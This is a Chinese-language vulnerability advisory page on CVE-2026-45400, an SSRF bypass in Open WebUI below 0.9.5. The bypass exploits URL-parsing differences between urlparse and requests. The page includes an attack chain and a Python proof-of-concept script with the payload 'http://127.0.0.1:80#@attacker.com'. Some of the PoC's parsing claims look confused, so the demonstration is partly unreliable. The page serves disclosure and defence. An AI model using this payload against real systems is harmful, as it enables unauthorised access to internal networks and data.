IPBUF安全漏洞报告
English
CVE-2026-45400 CVSS 8.5 高危

CVE-2026-45400 Open WebUI SSRF bypass漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-45400
漏洞类型
SSRF (服务端请求伪造)
CVSS评分
8.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

SSRFOpen WebUIURL解析差异高危漏洞CVE-2026-45400

漏洞概述

Open WebUI是一个旨在完全离线运行的自托管人工智能平台。在0.9.5版本之前,该组件存在一个严重的安全漏洞。由于Python标准库中的`urlparse`与第三方库`requests`在处理URL解析时存在逻辑差异,导致系统未能正确过滤用户提交的链接。这一差异使得攻击者能够构造特殊的恶意URL,从而绕过服务器端的SSRF(服务端请求伪造)防御机制。成功利用此漏洞可能导致攻击者访问内部网络资源、扫描内网端口或窃取敏感元数据。该漏洞已被官方在0.9.5版本中修复。

技术细节

该漏洞的根本原因在于Open WebUI对URL的校验逻辑与实际请求逻辑不一致。应用程序在验证用户输入的URL安全性时,使用了Python的`urlparse`函数来提取并检查主机名。然而,在后续发起HTTP请求时,使用了`requests`库。这两个库对URL的标准化处理存在差异,特别是在处理包含认证信息、特殊字符(如`@`、`#`)或非标准编码的URL时。攻击者可以利用这种差异构造攻击载荷,例如使用`http://127.0.0.1#@attacker.com`这种格式。在这种场景下,`urlparse`可能将主机名解析为`attacker.com`从而通过白名单校验,而`requests`库在实际建立TCP连接时,可能会忽略`#`后的片段或优先处理前面的IP,直接连接到`127.0.0.1`。这种解析歧义使得原本针对SSRF的防御失效,从而允许攻击者向内网地址发送请求。

攻击链分析

STEP 1
侦察
攻击者发现目标运行的是Open WebUI,且版本低于0.9.5。
STEP 2
构造载荷
攻击者利用`urlparse`和`requests`的解析差异,构造包含特殊字符(如`@`或`#`)的恶意URL,使其通过白名单验证但指向内网地址。
STEP 3
发送请求
攻击者通过Open WebUI的Web接口提交包含恶意URL的请求。
STEP 4
绕过防御
服务器端验证组件解析URL认为合法,但实际请求组件将请求发送到了内网目标。
STEP 5
利用
攻击者获取内网服务的响应数据,可能泄露敏感信息或为进一步攻击提供依据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-45400 (Open WebUI SSRF Bypass) This script demonstrates the parsing difference between urlparse and requests. """ import requests from urllib.parse import urlparse # The malicious payload targeting the internal service # Example: Using the fragment '#' to confuse the parser # The validator sees 'attacker.com', but requests might go to 127.0.0.1 malicious_url = "http://127.0.0.1:80#@attacker.com" print(f"[+] Testing URL: {malicious_url}") # Simulation 1: How the vulnerable application validates (using urlparse) parsed = urlparse(malicious_url) print(f"[+] urlparse sees netloc (host): {parsed.netloc}") print(f"[+] App validation check: Is 'attacker.com' in {parsed.netloc}? -> {('attacker.com' in parsed.netloc)}") if 'attacker.com' in parsed.netloc: print("[!] Validation PASSED (App thinks it's safe)") # Simulation 2: How the application sends the request (using requests) # Note: requests library usually strips the fragment before sending the request print("\n[+] Sending request using requests library...") try: response = requests.get(malicious_url, timeout=5) print(f"[+] Request sent to: {response.url}") print(f"[+] Response Status Code: {response.status_code}") if response.status_code == 200: print("[!] SSRF Successful! Internal service accessed.") else: print("[-] Service returned non-200 status.") except requests.exceptions.ConnectionError: print("[-] Connection failed (Target might be offline or not vulnerable)") except Exception as e: print(f"[-] Error: {e}")

影响范围

Open WebUI < 0.9.5

防御指南

临时缓解措施
如果无法立即升级,建议在防火墙或网络ACL层面限制Open WebUI服务器的出站网络访问,禁止其对内网敏感网段(如127.0.0.1、10.0.0.0/8、172.16.0.0/12等)发起连接,并监控异常的出站流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表